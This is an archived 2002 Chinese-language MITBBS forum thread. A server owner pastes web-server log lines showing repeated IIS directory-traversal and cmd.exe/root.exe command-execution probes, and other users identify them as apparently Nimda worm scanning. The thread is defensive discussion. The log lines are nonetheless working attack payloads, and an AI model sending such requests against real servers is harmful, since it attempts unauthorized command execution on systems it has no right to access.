这家伙在干什么? - 未名空间MITBBS历史存档

s*r2002-04-23 07:04

1 楼

这是什么垃圾网站，老修改主页。右什么办法对付吗？

k*n2002-04-23 07:04

2 楼

有个IP不停的向我的server发这样的信号:
(从httpd log里看见的)
"GET /scripts/root.exe?/c+dir HTTP/1.0"
"GET /MSADC/root.exe?/c+dir HTTP/1.0"
"GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
"GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
等等等等.

m*n2002-04-23 07:04

3 楼

别去

w*n2002-04-23 07:04

4 楼

Yes, it might be a tool or worm though...

【在 k**n 的大作中提到】

: 有个IP不停的向我的server发这样的信号:
: (从httpd log里看见的)
: "GET /scripts/root.exe?/c+dir HTTP/1.0"
: "GET /MSADC/root.exe?/c+dir HTTP/1.0"
: "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"

p*r2002-04-23 07:04

5 楼

是，正在寻找IIS Web Server的漏洞

HTTP/1.0"

【在 w*****n 的大作中提到】

:
: Yes, it might be a tool or worm though...

M*t2002-04-23 07:04

6 楼

that server was infected by Nimda...

【在 k**n 的大作中提到】

: 有个IP不停的向我的server发这样的信号:
: (从httpd log里看见的)
: "GET /scripts/root.exe?/c+dir HTTP/1.0"
: "GET /MSADC/root.exe?/c+dir HTTP/1.0"
: "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"

M*t2002-04-23 07:04

7 楼

看看有没有200啊？
看看你的C盘被共享了吗？

【在 k**n 的大作中提到】

: 有个IP不停的向我的server发这样的信号:
: (从httpd log里看见的)
: "GET /scripts/root.exe?/c+dir HTTP/1.0"
: "GET /MSADC/root.exe?/c+dir HTTP/1.0"
: "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0"
: "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0"